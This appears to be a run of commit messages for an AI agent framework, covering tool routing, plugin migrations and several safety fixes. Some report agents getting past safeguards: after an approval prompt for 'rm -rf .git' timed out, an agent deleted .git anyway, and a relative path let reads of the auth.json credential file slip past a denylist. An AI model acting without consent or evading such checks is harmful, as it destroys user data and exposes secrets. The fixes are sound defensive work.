* fix(vision): route auxiliary.vision.provider=openai to api.openai.com, skip text-only main for vision
Fixes#31179. Three coupled fixes so a configured aux vision backend
actually serves vision tasks instead of silently routing images to the
user's main provider:
1. agent/auxiliary_client.py: `auxiliary.<task>.provider: openai` resolves
to `custom` + `https://api.openai.com/v1`. "openai" was not in
PROVIDER_REGISTRY (we have `openai-codex` for OAuth and `custom` for
manual base_url), so the obvious config name silently failed to build a
client. User-supplied base_url is still preserved; only the provider
name normalises to `custom` so resolution doesn't hit the
PROVIDER_REGISTRY-only path.
2. agent/auxiliary_client.py: the vision auto-detect chain now skips the
user's main provider when models.dev reports `supports_vision=False`.
Without this guard, a misconfigured aux provider would fall back to
`auto`, which happily returned the main-provider client. The caller
would then send image content to e.g. api.deepseek.com with model
`gpt-4o-mini` and get a cryptic `unknown variant 'image_url',
expected 'text'` from the provider's parser.
3. tools/vision_tools.py + tools/browser_tool.py: `check_vision_requirements`
now mirrors the runtime fallback chain (explicit provider, then auto),
so `vision_analyze` shows up whenever vision is actually serviceable.
`browser_vision` gets a new `check_browser_vision_requirements` check_fn
that AND-gates browser + vision availability, so it doesn't get
advertised to the model when the call would fail at runtime.
Reproduction (config from the bug report):
model.provider: deepseek
model.default: deepseek-v4-pro
auxiliary.vision.provider: openai
auxiliary.vision.model: gpt-4o-mini
Before: resolve_vision_provider_client() returns None for the explicit
provider, fallback auto returns the deepseek client with model='gpt-4o-mini',
image hits api.deepseek.com → 'unknown variant image_url'. vision_analyze
hidden from tool list; browser_vision exposed but fails at call time.
After: resolves to custom + api.openai.com/v1 with model gpt-4o-mini.
vision_analyze and browser_vision both gate correctly on capability.
Tests: tests/agent/test_vision_routing_31179.py covers all three fixes
(12 cases including the user's exact scenario, base_url preservation,
text-only-main skip, capability-unknown permissive fallback, and tool
gating parity). Existing 382 tests across auxiliary/vision/image_routing
suites still pass.
* test(vision): use exact hostname check to silence CodeQL substring-sanitization alert
* fix(auxiliary): drop model name from vision-skip debug log to silence CodeQL
The new `logger.debug(...)` added in the previous commit interpolated
both `main_provider` and `vision_model` (a public model slug \u2014 not
sensitive). CodeQL's `py/clear-text-logging-sensitive-data` heuristic
re-flagged it twice because the rule mis-detects multi-value
interpolations near tainted-via-config provider strings.
Drop the model from the log args (provider alone is enough to diagnose
the skip; the same sibling branch a few lines up already logs provider
only). Behavior unchanged; CodeQL false positive cleared.
When the 'mcp' Python SDK isn't installed, _run_stdio leaked a bare
'NameError: name StdioServerParameters is not defined' because the
top-level 'from mcp import ...' fails inside try/except ImportError,
leaving the names unbound at module scope.
Mirror the _MCP_HTTP_AVAILABLE gate that _run_http already had: raise
a clear ImportError with install instructions instead.
Fixes#30904
* fix(profiles): cross-profile soft guard on file-write tools + system-prompt hint
Adds a soft guard so an agent running under one Hermes profile cannot
silently edit a different profile's skills/plugins/cron/memories.
Three layers:
A. agent/file_safety.classify_cross_profile_target
Classifies a write target against the active HERMES_HOME. Returns
a {active_profile, target_profile, area, target_path} dict when the
path lands in another profile's scoped area. PROFILE_SCOPED_AREAS =
(skills, plugins, cron, memories). get_cross_profile_warning()
wraps it into a model-facing error string that names both profiles,
names the area, and points at the cross_profile=True bypass.
Defense-in-depth, NOT a security boundary — the terminal tool runs
as the same OS user and can write any of these paths directly. The
guard exists to prevent confused-agent corruption, not to stop a
determined attacker. SECURITY.md §3.2 (terminal-bypass posture)
still applies.
Wired into tools/file_tools.write_file_tool and patch_tool with a
cross_profile=False kwarg. WRITE_FILE_SCHEMA and PATCH_SCHEMA both
advertise cross_profile so the model can pass it after explicit
user direction. patch_tool extracts target paths from V4A patch
bodies before checking (same shape as the existing sensitive-path
check).
skill_manage is already scoped to the active profile's SKILLS_DIR
by construction, so no extra guard wiring is needed there. The
D-side error message (below) still names other profiles when the
skill exists elsewhere.
B. agent/system_prompt
One deterministic line near the environment-hints block names the
active profile and tells the model not to modify another profile's
skills/plugins/cron/memories without explicit direction. Profile
name is stable for the lifetime of the AIAgent, so the line is
prompt-cache-safe.
D. tools/skill_manager_tool._skill_not_found_error
Replaces the bare "Skill 'X' not found." with a message that:
- names the active profile,
- searches OTHER profiles' skills dirs for the same name,
- names the profile(s) where the skill exists and the path,
- suggests `hermes -p <name>` to switch profiles, or
cross_profile=True for an explicit edit.
All 5 "not found" sites in skill_manager_tool (edit, patch, delete,
write_file, remove_file) now go through the helper.
Reference incident (May 2026): a hermes-security profile session
edited skills under both ~/.hermes/profiles/hermes-security/skills/
AND ~/.hermes/skills/ (the default profile's skills) without
realizing the second path belonged to a different profile. Three of
the four skill files needed manual restoration afterward.
What this PR does NOT do:
* No hard block. The terminal tool can still touch any of these
paths with no guard — same posture as the dangerous-command
approval flow. SECURITY.md §3.2 applies.
* No regex sweep on terminal commands for cross-profile paths.
That direction is a Skills-Guard-style arms race (cd + relative
paths, base64, etc.) and would false-positive on legitimate
cross-profile reads. Filed as a follow-up.
* No on-disk path migration. ~/.hermes/skills/ remains the
default profile's skills dir; this PR is about telling the
agent about that boundary, not changing the layout.
Tests:
tests/agent/test_file_safety_cross_profile.py (16 tests)
- _resolve_active_profile_name covers default/named/failure paths
- classify_cross_profile_target covers all four scoped areas,
both directions (default → named, named → default, named → named),
non-Hermes paths, and root-level config files
- get_cross_profile_warning covers in-profile no-op, cross-profile
message shape, and the defense-in-depth self-documentation
tests/tools/test_cross_profile_guard.py (12 tests)
- write_file: in-profile allow, cross-profile block, cross_profile=True
bypass, non-Hermes pass-through
- patch: replace-mode block, cross_profile=True bypass, V4A patch
path extraction
- skill_manage: error names the other profile (single + multiple),
missing-everywhere falls back to skills_list hint
- system prompt: contract-level checks (both branches present,
cross_profile=True mentioned, ~/.hermes/profiles/ referenced)
All 207 existing tests in file_safety/file_operations/skill_manager
still pass. 10 system-prompt tests still pass.
E2E verified: the exact incident scenario (security profile editing
default's hermes-agent-dev skill) is now blocked with the warning
message; cross_profile=True unblocks.
* fix(code_execution): add cross_profile to write_file/patch stubs
The cross_profile kwarg added to write_file_tool/patch_tool needs to
flow through the execute_code sandbox stubs in _TOOL_STUBS so the
test_stubs_cover_all_schema_params drift test passes. Without this,
scripts running inside execute_code couldn't pass cross_profile=True
through hermes_tools.write_file().
Caught by CI on PR #31290.
`terminal(background=true)` without `notify_on_complete=true` or
`watch_patterns` runs the process SILENTLY — the agent has no way
to learn it finished short of calling `process(action='poll')`
explicitly. That's correct for genuine long-lived processes (servers,
watchers, daemons) but is a footgun for every bounded task (tests,
builds, deploys, CI pollers, batch jobs), which is the vast majority
of background uses.
Hit on May 23, 2026 (PR #31231 incident): agent launched a CI-watch
loop with `background=true` only. The poller ran fine, exited green
6 minutes later, agent never noticed. User had to surface 'we are
green CI, you can merge.' Memory and skill docs said *what* to do
(poll in background) but not *how* to receive the result. The
`notify_on_complete=true` flag exists and works, but is easy to
forget when bg seems sufficient on its own.
Two changes here, mutually reinforcing:
1. Runtime nudge: tool result for `background=true` w/o notify or
watch_patterns now includes a `hint` field explaining the silent-
process failure mode and pointing at the corrective flag. Agent
sees it on the same turn and self-corrects without needing the
user to surface anything. Cost for legitimate server cases is one
ignored read (~50 tokens); cost for forgot-notify cases is
prevented blindness (potentially many turns, or a user nudge).
False positives << false negatives.
2. Schema/description rewrite: top-level TERMINAL_TOOL_DESCRIPTION
and the `background` field description now lead with 'Almost
always pair with notify_on_complete=true' instead of presenting
it as one of two equally-likely patterns. The two legitimate
non-notify shapes (long-lived servers; watch_patterns mid-process
signals) are still documented, but as the minority case.
Tests cover all four shapes: bg-only emits hint, bg+notify doesn't,
bg+watch_patterns doesn't, foreground doesn't. 4 new tests; full
suite of background/process tests stays green (160/160 across the
relevant 6 test files).
The Windows branch of `_terminate_host_pid` early-returned after
`os.kill(pid, SIGTERM)` (which Python maps to `TerminateProcess` for
the target handle only), leaving descendant processes — e.g. Chromium
renderer/GPU/network helpers spawned by an `agent-browser` daemon —
running on Windows even after the preceding commit fixed POSIX.
The right Windows primitive is `taskkill /PID <pid> /T /F`:
`/T` walks the tree, `/F` force-terminates. Same approach
`gateway.status.terminate_pid(force=True)` already uses for the
gateway's own shutdown path; reuse the same shape here.
Why NOT extend the POSIX psutil tree-walk to Windows:
1. Windows doesn't maintain a Unix-style process tree. `psutil.
Process.children(recursive=True)` walks PPID links that go stale
when intermediate processes exit, so enumeration is best-effort
and silently misses orphaned descendants. The whole bug we're
fixing is orphaned descendants.
2. `psutil.Process.terminate()` on Windows is `TerminateProcess()`
for one handle — same single-PID scope as the existing
`os.kill`. The existing comment in `gateway/status.py::
terminate_pid` warns this explicitly: 'os.kill SIGTERM is not
equivalent to a tree-killing hard stop' on Windows.
3. Headless Chromium has no GUI window, so the softer
`taskkill /T` without `/F` (which sends WM_CLOSE) won't reach
it either. `/F` is required.
POSIX path is unchanged. The taskkill subprocess uses the same
`creationflags=windows_hide_flags()` pattern other Windows shellouts
in this codebase use. `FileNotFoundError` / `TimeoutExpired` /
`OSError` fall back to bare `os.kill(SIGTERM)` as cheap insurance.
Tests cover the Windows branch via the codebase's standard
`monkeypatch _IS_WINDOWS` pattern (`references/windows-native-
support.md`), plus POSIX tree-walk order, NoSuchProcess swallow,
and the OSError fallback path. 7 new tests, all green on Linux CI.
os.kill(pid, SIGTERM) only signals the parent, leaving Chromium child
processes (renderer, GPU, etc.) orphaned. Reuse the existing
ProcessRegistry._terminate_host_pid() helper which walks the process
tree leaf-up via psutil, terminating children before the parent.
Trim ~600 LOC off the original contribution while keeping the same
operator-facing surface and detection coverage.
- Collapse three entry points (file / dir / bundle) into one
ast_scan_path(path) that handles both files and directories.
- Drop AstFinding dataclass + severity field — replaced with plain
(file, line, pattern_id, description) tuples. Severity ordering was
display-only for a diagnostic that explicitly disclaims security
verdicts, so the field added bookkeeping without earning its place.
- Replace Rich-markup formatter with plain text grouped by file.
- Drop the 'inspect --ast-deep' surface — same scanner, same output as
'audit --deep', single CLI entry is enough. Operators audit after
install; pre-install inspection signal isn't worth the second surface.
- Trim test file to the cases that earn their place: bypass payload,
syntax error survival, RecursionError survival, false-positive guard
(importer lookalike), literal-arg false-positive guard, non-.py
ignored, directory recursion + cache-dir skipping, missing-path,
getattr/__dict__ detection, formatter empty + populated.
Net: tools/skills_ast_audit.py 353 -> 133 LOC,
tests/tools/test_skills_ast_audit.py 299 -> 103 LOC, full diff
+704/-12 -> +264/-6. No change to tools/skills_guard.py — Skills Guard
verdicts remain untouched per SECURITY.md §2.4.
Add opt-in AST diagnostics for skill review without making Skills Guard stricter by default.
- Add hermes skills inspect --ast-deep to scan fetched skill bundles before installation
- Add hermes skills audit --deep to scan already-installed hub skills
- Keep AST analysis in tools/skills_ast_audit.py, separate from tools/skills_guard.py
- Label output as diagnostic hints, not security verdicts
- Cover dynamic import/access patterns: importlib, __import__(computed), getattr(computed), and __dict__[computed]
This follows the maintainer guidance from closed PR #7436: useful AST-level analysis belongs in an opt-in diagnostic path, not in Skills Guard's default heuristic scan.
ntfy now ships as a self-contained plugin under plugins/platforms/ntfy/
instead of editing 8 core files (gateway/config.py Platform enum,
gateway/run.py factory + auth maps, cron/scheduler.py, toolsets.py,
hermes_cli/status.py, agent/prompt_builder.py, gateway/channel_directory.py,
tools/send_message_tool.py).
All routing goes through gateway/platform_registry via register_platform():
- adapter_factory, check_fn, validate_config, is_connected
- env_enablement_fn seeds PlatformConfig.extra from NTFY_* env vars so
gateway status reflects env-only setups without instantiating httpx
- standalone_sender_fn handles deliver=ntfy cron jobs when cron runs
out-of-process from the gateway
- allowed_users_env / allow_all_env hook into _is_user_authorized
- cron_deliver_env_var=NTFY_HOME_CHANNEL for cron home routing
- platform_hint surfaces in the system prompt
- pii_safe=True (topic names are the only identifier; no PII to redact)
Tests moved to tests/gateway/test_ntfy_plugin.py using _plugin_adapter_loader
so the module lives under plugin_adapter_ntfy in sys.modules and cannot
collide with sibling plugin-adapter tests on the same xdist worker. The
core-file grep tests (Platform.NTFY in source, hermes-ntfy in toolsets,
etc.) are replaced with plugin-shape tests covering register() metadata,
env_enablement_fn output, and standalone_sender_fn behavior.
68 tests pass under scripts/run_tests.sh.
User incident (Slack, 2026-05-13): user walked away mid-conversation,
agent requested approval to run `rm -rf .git`, the prompt timed out
after the gateway_timeout (default 300s), and the agent removed the
.git folder on its own. Corroborated by an independent report from a
Telegram user.
The underlying code path was correct — `check_all_command_guards`
returns `approved=False` with a BLOCKED message on both timeout and
explicit deny, and `terminal_tool` surfaces that as `status=blocked`
to the agent. The bug is at the model-interface layer: the message
"BLOCKED: Command timed out. Do NOT retry this command." reads to
some models as "try a different command achieving the same outcome."
This commit changes only the model-facing message + the structured
return shape:
- Timeout message now explicitly names the three evasion paths the
agent must avoid: retry, rephrase, AND achieve the same outcome
via a different command. Ends with "Silence is not consent."
- Explicit deny gets the same shape minus the silence-is-not-consent
line (it WAS an explicit deny, not silence).
- New structured fields on the return dict: `outcome` ("timeout"
or "denied") and `user_consent` (always False on this branch)
so plugins, hooks, and audit pipelines don't have to string-parse
the message to distinguish the two cases.
The mechanism that should already have prevented the original incident
— timeout treated as deny, BLOCKED result, post hook fires with
`choice="timeout"` — is unchanged. This commit hardens only the
agent's reading of the result.
Tests:
- test_timeout_returns_approved_false_with_no_consent — pins the
return shape on the Slack-shaped notify_cb-registered path
- test_timeout_message_is_emphatic_against_retry_and_rephrase —
pins the exact phrases the message must contain
- test_explicit_deny_carries_same_no_consent_shape — same contract
on explicit /deny
- test_timeout_emits_post_hook_with_timeout_outcome — pins the
post_approval_response hook payload so audit plugins can act
329 approval tests passing (4 new + 325 existing).
Fixes#24912
Reproduction (production, 2026-05-14): two concurrent sessions on the
same agent. Session A patches MEMORY.md directly via the patch tool,
appending ~8KB of structured content (Vendor Master, Standing Orders,
Pin Board) — none of it through the memory tool, so no § delimiters.
Session B starts later with stale in-memory state (1 entry, ~331
chars). Session B calls memory(action=replace) on its one known
entry. The tool's _read_file parses A's content as a single 8KB
'entry' (no § splits), then replace truncates that entry to B's new
333-byte content. ~8KB of structured content silently destroyed.
The atomic-rename write path is fine in isolation. The bug is the
implicit contract: the tool assumes MEMORY.md is exclusively a
§-delimited list of small entries it wrote, but the v0.13 install
runbook itself uses 'cat >> MEMORY.md' for onboarding, the patch tool
edits the file directly, and operators do too.
Fix: a drift guard in MemoryStore._detect_external_drift that fires
on either signal:
1. Re-parse + re-serialize doesn't produce identical bytes
(catches oddly-encoded delimiters / partial writes).
2. Any single parsed entry exceeds the store's whole-file char
limit. The tool budgets the ENTIRE store against that limit
(2200 chars for memory, 1375 for user), so no tool-written
entry can legitimately be larger. An entry bigger than the
store limit means an external writer dropped free-form content
into what the tool will treat as one entry.
When drift fires, _reload_target writes a .bak.<ts> snapshot of the
on-disk file, then add/replace/remove refuse to flush. The original
file stays untouched. The error dict surfaces the .bak path AND a
remediation string ('integrate missing entries via memory(add=...)
one at a time, then rewrite the file clean') so the model can act on
it without escalating to the operator.
Tests:
- test_replace_refuses_on_drift, test_add_refuses_on_drift,
test_remove_refuses_on_drift — all three mutators refuse
- test_clean_file_does_not_trigger_drift — false-positive check
- test_error_message_points_at_remediation — error string shape
- test_drift_guard_also_protects_user_target — USER.md too
- test_drift_backup_filename_is_unique_per_invocation — bak.<ts>
naming pin
144 memory tests passing (was 137; +7).
Fixes#26045
Follow-up to @sprmn24's verdict-logic fix. The previous block-message
ended in 'Use --force to override' regardless of verdict — but as of
the --force fix above, dangerous community/trusted skills can't be
overridden by --force at all. The misleading hint sends users in a
loop. Replace it with a specific message that tells them what the
documented behavior actually is.
Adds two regression tests covering the dangerous-verdict message
shape and one that pins the existing --force hint for non-dangerous
blocks.
- _determine_verdict() returned 'caution' for medium/low-only findings,
causing community skills with harmless patterns (e.g. path traversal
notation, unpinned pip install) to be incorrectly blocked. Now returns
'safe' when only medium/low severity findings are present.
- should_allow_install() allowed --force to override 'dangerous' verdict,
contradicting documented behavior that --force does NOT override dangerous
scan results. Added explicit check to prevent force-installing skills
with dangerous verdict.
read_file_tool resolves relative paths against TERMINAL_CWD (or the
task's live terminal cwd), but the prior call passed the original
unresolved string to get_read_block_error. That function's own
resolve() is anchored at the Python process cwd, so when a task's
TERMINAL_CWD pointed at HERMES_HOME and the agent issued read_file
on the relative path "auth.json", the credential-store denylist was
never reached and the file was read normally.
Pass the already-resolved absolute path string at the file_tools call
site, document the contract on get_read_block_error, and add a
read_file_tool-level regression test that pins the relative-path
case under TERMINAL_CWD == HERMES_HOME.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PR #6656 added rel_path + \x00 prefixing to ``bundle_content_hash`` so a
filename swap between two files in a bundle changes the digest. But it
only patched the in-memory side — ``content_hash`` in ``tools/skills_guard.py``
(the on-disk equivalent) still hashed file contents only.
These two functions need to stay symmetric: ``check_for_skill_updates``
compares the disk hash of an installed skill against the bundle hash
of the upstream copy. With the asymmetric fix, every clean install
showed as drifted because the digests no longer matched
(2 existing tests in ``test_skills_hub.py`` started failing as soon as
the contributor's change landed).
Apply the same ``rel_path + \x00 + content`` shape to the disk-side
function. Both functions now produce the same digest for the same skill
content laid out two ways. Documented the symmetry invariant in the
docstring so a future change to either function knows to touch both.
Also adds tests/tools/test_pr_6656_regressions.py with 10 regression
tests covering all three fixes salvaged in PR #6656:
- uninstall_skill path traversal (4 cases: parent segments, absolute
paths, symlink escape, legitimate skill)
- bundle_content_hash filename swap detection (4 cases: in-memory
swap, identity, disk-side swap, bundle↔disk symmetry)
- list_pending lock contract (2 cases: source-grep contract, smoke)
Also fixes AUTHOR_MAP entry for @aaronlab — their commit email
(1115117931@qq.com) maps to "aaronagent" which isn't a real GitHub
login, so changelog @mentions would 404.
- skills_hub: validate that uninstall_skill's install_path resolves
inside SKILLS_DIR before calling shutil.rmtree, preventing recursive
deletion of arbitrary directories via poisoned lock.json entries
- skills_hub: include file paths (not just contents) in
bundle_content_hash so swapping filenames between files changes the
hash, strengthening update-detection integrity
- pairing: wrap list_pending() in self._lock so _cleanup_expired() file
writes don't race with concurrent generate_code()/approve_code() calls
Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
First migration of an existing built-in platform adapter to the plugin
system established by IRC / Teams / LINE / Google Chat. Closes#24325;
advances the umbrella refactor in #3823.
Matches Teams' shape exactly — adapter under ``plugins/platforms/discord/``
with the standard ``__init__.py`` / ``adapter.py`` / ``plugin.yaml``
shell, ``register(ctx)`` entry point, **no back-compat shim** at the old
import path, and full parity for the four hooks Teams uses plus the
``apply_yaml_config_fn`` hook that landed in #25443 (the Discord plugin
is the first consumer of that hook):
* ``standalone_sender_fn`` — out-of-process cron delivery via REST API
* ``setup_fn`` — interactive ``hermes setup gateway`` wizard
* ``apply_yaml_config_fn`` — translate ``config.yaml`` ``discord:`` keys
into ``DISCORD_*`` env vars (replaces the hardcoded block in
``gateway/config.py``)
* ``is_connected`` — declares connection state from ``DISCORD_BOT_TOKEN``
* ``check_fn`` — lazy-installs ``discord.py`` on demand
* plus ``allowed_users_env``, ``allow_all_env``, ``cron_deliver_env_var``,
``max_message_length``, ``emoji``, ``required_env``, ``install_hint``
* ``gateway/platforms/discord.py`` (5,101 LOC) →
``plugins/platforms/discord/adapter.py`` (git rename, R090).
* New ``plugins/platforms/discord/{__init__.py, plugin.yaml}`` with
``requires_env`` / ``optional_env`` declarations.
* Append ``register(ctx)`` block + new hook implementations
(``_standalone_send``, ``interactive_setup``, ``_apply_yaml_config``,
``_clean_discord_user_ids``, ``_is_connected``, ``_build_adapter``,
plus helpers ``_DISCORD_CHANNEL_TYPE_PROBE_CACHE`` etc.) to the
adapter.
* Replace the ``Platform.DISCORD elif`` branch in
``GatewayRunner._create_adapter()`` (−9 LOC) with a generic post-creation
hook (+6 LOC) in the registry path: any plugin adapter that declares a
``gateway_runner`` attribute now gets it auto-injected. Webhook's
built-in branch is unchanged (it doesn't go through the registry path).
* Move ``_send_discord`` (190 LOC) and helpers
(``_DISCORD_CHANNEL_TYPE_PROBE_CACHE``, ``_remember_channel_is_forum``,
``_probe_is_forum_cached``, ``_derive_forum_thread_name``) from
``tools/send_message_tool.py`` into the plugin as ``_standalone_send``.
* Wire via ``standalone_sender_fn=_standalone_send`` (Teams pattern; same
gap fixed in #21804 for other plugin platforms).
* Replace the Discord ``elif`` in ``tools/send_message_tool.py``
``_send_to_platform`` with a 10-line registry-hook dispatch.
* Drop the ``DiscordAdapter`` import and the
``Platform.DISCORD: DiscordAdapter.MAX_MESSAGE_LENGTH`` ``_MAX_LENGTHS``
entry — the registry's ``max_message_length=2000`` covers it.
* Move ``_setup_discord`` and ``_clean_discord_user_ids`` (68 LOC) from
``hermes_cli/setup.py`` into the plugin as ``interactive_setup``.
* Wire via ``setup_fn=interactive_setup``. CLI helpers (``prompt``,
``print_info``, etc.) are lazy-imported so the plugin's module-load
surface stays minimal.
* Remove ``"discord": _s._setup_discord`` from
``hermes_cli/gateway.py::_builtin_setup_fn``.
* Remove the entire 32-line ``_PLATFORMS["discord"]`` static dict entry —
Discord's setup metadata is now discovered dynamically via
``_all_platforms()`` from the registry entry.
* Move the 59-line ``discord_cfg`` YAML→env bridge from
``gateway/config.py::load_gateway_config()`` into the plugin as
``_apply_yaml_config``. Covers ``require_mention``,
``thread_require_mention``, ``free_response_channels``, ``auto_thread``,
``reactions``, ``ignored_channels``, ``allowed_channels``,
``no_thread_channels``, ``allow_mentions.{everyone,roles,users,
replied_user}``, and ``reply_to_mode`` (including the YAML 1.1
``off``-as-False coercion and the ``extra.reply_to_mode`` fallback).
* Wire via ``apply_yaml_config_fn=_apply_yaml_config``.
* The hook runs BEFORE ``_apply_env_overrides`` and after the generic
shared-key loop, exactly as documented in
``website/docs/developer-guide/adding-platform-adapters.md``.
* Behavior is preserved exactly — every assignment still uses
``not os.getenv(...)`` guards so env vars take precedence over YAML.
All 78 references to the old import path are rewritten — no back-compat
shim:
* 51 ``from gateway.platforms.discord import X`` →
``from plugins.platforms.discord.adapter import X``
* 5 ``import gateway.platforms.discord as discord_platform`` →
``import plugins.platforms.discord.adapter as discord_platform``
* 1 ``from gateway.platforms import discord as discord_mod`` →
``from plugins.platforms.discord import adapter as discord_mod``
* 21 ``mock.patch("gateway.platforms.discord.X")`` strings →
``mock.patch("plugins.platforms.discord.adapter.X")``
* 1 docstring reference in ``hermes_cli/commands.py``
* 1 import in ``tools/send_message_tool.py`` (now removed entirely)
The import-safety test in ``tests/gateway/test_discord_imports.py`` is
updated to purge the new canonical module name from ``sys.modules``.
**38 files changed, +621 / −473** — net positive due to the YAML hook
implementation (89 new LOC in the plugin trading for 59 deleted in core),
but every line moved has a clear plugin home now. The git rename is
detected at R090 because the adapter gained ~340 LOC of moved-in hook
implementations (``_standalone_send`` + ``interactive_setup`` +
``_apply_yaml_config`` + helpers).
* All 568 Discord-specific tests pass across 25 ``test_discord_*.py``
files plus voice/send/text-batching/reload-skills/stream-consumer/
integration tests.
* All 147 tests in the YAML-touching subset
(``test_discord_reply_mode``, ``test_discord_free_response``,
``test_discord_allowed_channels``, ``test_discord_allowed_mentions``,
``test_discord_channel_controls``, ``test_discord_reactions``,
``test_discord_thread_persistence``, ``test_runtime_footer``) pass —
this is the strongest signal that the YAML→env hook behaves
identically to the legacy block.
* Broader gateway/cron/integration sweep (1297 tests) introduces zero
new failures vs ``main``. Pre-existing failures in
``tests/gateway/test_tts_media_routing.py`` and
``tests/e2e/test_platform_commands.py`` reproduce identically on the
unchanged ``main`` revision.
* Plugin discovery sanity check confirms Discord registers alongside the
other four platform plugins:
Registered platforms: ['discord', 'google_chat', 'irc', 'line', 'teams']
These Discord-shaped tendrils in core were **deliberately not moved** —
they are generic platform-registry concerns affecting every platform,
not Discord-specific:
* ``gateway/config.py:1205`` ``DISCORD_BOT_TOKEN → config.token`` env
enablement — same shape Telegram has. The existing
``env_enablement_fn`` registry hook only seeds ``extra``, not
``.token``, so it can't replace this without an adapter refactor to
read from ``extra["bot_token"]``.
* ``gateway/run.py`` voice-mode hooks
(``self.adapters.get(Platform.DISCORD)`` for
``start_voice_mode``/``stop_voice_mode``), role-based auth,
``DISCORD_ALLOW_BOTS`` branch in ``_is_user_authorized``,
``_UPDATE_ALLOWED_PLATFORMS`` frozenset, and the per-platform
allowlist maps — generic platform-registry concerns.
* ``Platform.DISCORD`` enum literal — stable identifier used as dict
keys throughout the codebase; removing it is a separate refactor with
no real benefit.
* ``tools/discord_tool.py`` and ``tools/environments/local.py`` —
first-class agent tools and env-passthrough config, neither is the
gateway adapter.
Each of these is worth its own scoping issue when the time comes.
Mirrors the architecture established by the web (#25182), browser
(#25214), and video_gen (#25126) plugin migrations:
* `tools/fal_common.py` — stateless atoms shared by both FAL-backed
plugins (image_gen + video_gen). Holds the lazy `fal_client` import
helper, `_ManagedFalSyncClient`, `_normalize_fal_queue_url_format`,
`_extract_http_status`. Stateful pieces (`fal_client` module global,
`_managed_fal_client*` cache, `_submit_fal_request`,
`_resolve_managed_fal_gateway`, `_get_managed_fal_client`)
intentionally stay on `tools.image_generation_tool` so the existing
`monkeypatch.setattr(image_tool, ...)` patch sites keep working
unchanged.
* `plugins/video_gen/fal/__init__.py` — drops its inline
`_load_fal_client` duplicate; consumes `tools.fal_common.import_fal_client`.
* `plugins/image_gen/fal/{plugin.yaml,__init__.py}` — new plugin.
`FalImageGenProvider` is a thin registration adapter that resolves
the legacy module via `import tools.image_generation_tool as _it`
and calls `_it.image_generate_tool` + `_it._resolve_fal_model` at
call time. The 18-model catalog, `_build_fal_payload`, managed-
gateway selection, and Clarity Upscaler chaining all remain in
`tools.image_generation_tool` as the single source of truth —
the plugin is a registration adapter, not a parallel implementation.
* `tools/image_generation_tool.py::_dispatch_to_plugin_provider` —
drops the `configured == "fal"` skip. Setting `image_gen.provider:
fal` now routes through the registry like any other provider; the
plugin re-enters this module's pipeline so behavior is identical.
Unset `image_gen.provider` still falls through to the in-tree
pipeline (preserves no-config-with-FAL_KEY UX from #15696).
* `hermes_cli/tools_config.py` — drops the hardcoded "FAL.ai" row from
`TOOL_CATEGORIES["image_gen"]["providers"]` (now injected by
`_plugin_image_gen_providers` like every other backend) and the
`getattr(provider, "name") == "fal"` skip that protected against
duplication with the hardcoded row. The "Nous Subscription" row
stays as a setup-flow entry — same shape browser kept "Nous
Subscription (Browser Use cloud)" after #25214.
* `tests/plugins/image_gen/test_fal_provider.py` — 14 cases covering
the ABC surface, call-time indirection (verifying
`monkeypatch.setattr(image_tool, "image_generate_tool", ...)` takes
effect through the plugin), response-shape stamping, exception
handling, and registry wiring.
* `tests/plugins/image_gen/check_parity_vs_main.py` — subprocess
harness mirroring `tests/plugins/browser/check_parity_vs_main.py`.
Pins one path to origin/main, one to the worktree; runs six
scenarios (unset, explicit-fal-no-creds, explicit-fal-with-creds,
explicit-fal-with-model, typo provider, managed-gateway-only) and
diffs the reduced shape `{dispatch_kind, provider_name, model}`
per scenario. The only acceptable diff is "legacy_fal → plugin
(fal)" for explicit-FAL paths — every other delta is flagged as
a regression.
* `tests/hermes_cli/test_image_gen_picker.py::test_fal_surfaced_alongside_other_plugins`
— flips the previous `test_fal_skipped_to_avoid_duplicate` to
match the new shape (FAL is a plugin now, no dedup needed).
Verified: 195/195 tests across
`tests/{tools/test_image_generation*,tools/test_managed_media_gateways,plugins/image_gen,plugins/video_gen,hermes_cli/test_image_gen_picker}.py`
pass on this branch with no test patches modified outside the picker
test that asserted the old skip behaviour.
Fixes#26241
_maybe_follow_capture() issued a follow-up screenshot unconditionally
when capture_after=True, even when res.ok=False. The model then received
a normal-looking screenshot alongside an error message, and in practice
it often ignored ok=False and proceeded as if the action had succeeded.
Fix: return _text_response(res) early when res.ok is False so the model
receives only the error and can decide how to recover.
Tests added:
- test_capture_after_skipped_when_action_failed: patches click to return
ok=False and asserts no capture call is issued.
- test_capture_after_fires_when_action_succeeds: ensures the happy path
still triggers the follow-up capture.
_dispatch() routes action="set_value" to backend.set_value(), but:
- ComputerUseBackend did not declare set_value as @abstractmethod, so
subclasses could silently omit it without a TypeError at class load time.
- _NoopBackend (the test/CI stub) had no set_value method at all, causing
AttributeError in any test that exercises the set_value action path.
Fix:
- Add set_value as @abstractmethod to ComputerUseBackend in backend.py.
- Add a recording stub in _NoopBackend in tool.py.
- Add two TestDispatch cases: one verifying the call reaches the backend,
one verifying the missing-value guard returns a clean error.
The ensure('stt.faster_whisper') lazy-install mechanism was defined in
lazy_deps.py but never called from the STT code path. When
_HAS_FASTER_WHISPER (a module-level constant) evaluated to False at
import time, _get_provider() returned 'none' immediately without
attempting installation. On fresh container builds or venv recreations,
this meant voice message transcription broke silently until someone
manually installed faster-whisper.
Add _try_lazy_install_stt() helper that calls ensure() and
re-checks dynamically via importlib.util.find_spec. Wire it into
all three gates in transcription_tools.py:
- _get_provider() explicit 'local' path (line 221)
- _get_provider() auto-detect path (line 287)
- _transcribe_local() guard (line 405)
This ensures the first voice message after any fresh install triggers
auto-installation instead of failing permanently until a process restart.
The cherry-pick of #22891 (max_elements cap) reshuffled _capture_response
so summary was assigned inside both the multimodal and AX branches,
but #30126's aux-vision routing call (_route_capture_through_aux_vision)
fires BEFORE either branch and references the not-yet-bound name.
Compute summary once up-front, keep the AX-branch rebuild for the
truncation note.
Four findings from Copilot's review on PR #22891, all in the AX
elements-array cap added by 22fa1ed:
1. The truncation note ("response truncated to N of M elements") was
appended unconditionally — including in the som/vision multimodal
path, whose response carries a screenshot rather than an `elements`
array. The note described a payload field that wasn't present.
Moved the note into the AX-text branch where the array actually
appears.
2. `_format_elements(cap.elements)` ran on the full untrimmed list with
its own `max_lines=40` cap, so a caller passing `max_elements=10`
would see summary lines referencing `#11..#40` even though the JSON
`elements` array only held #1..#10. Format on `visible_elements`
instead so the summary indices always exist in the response.
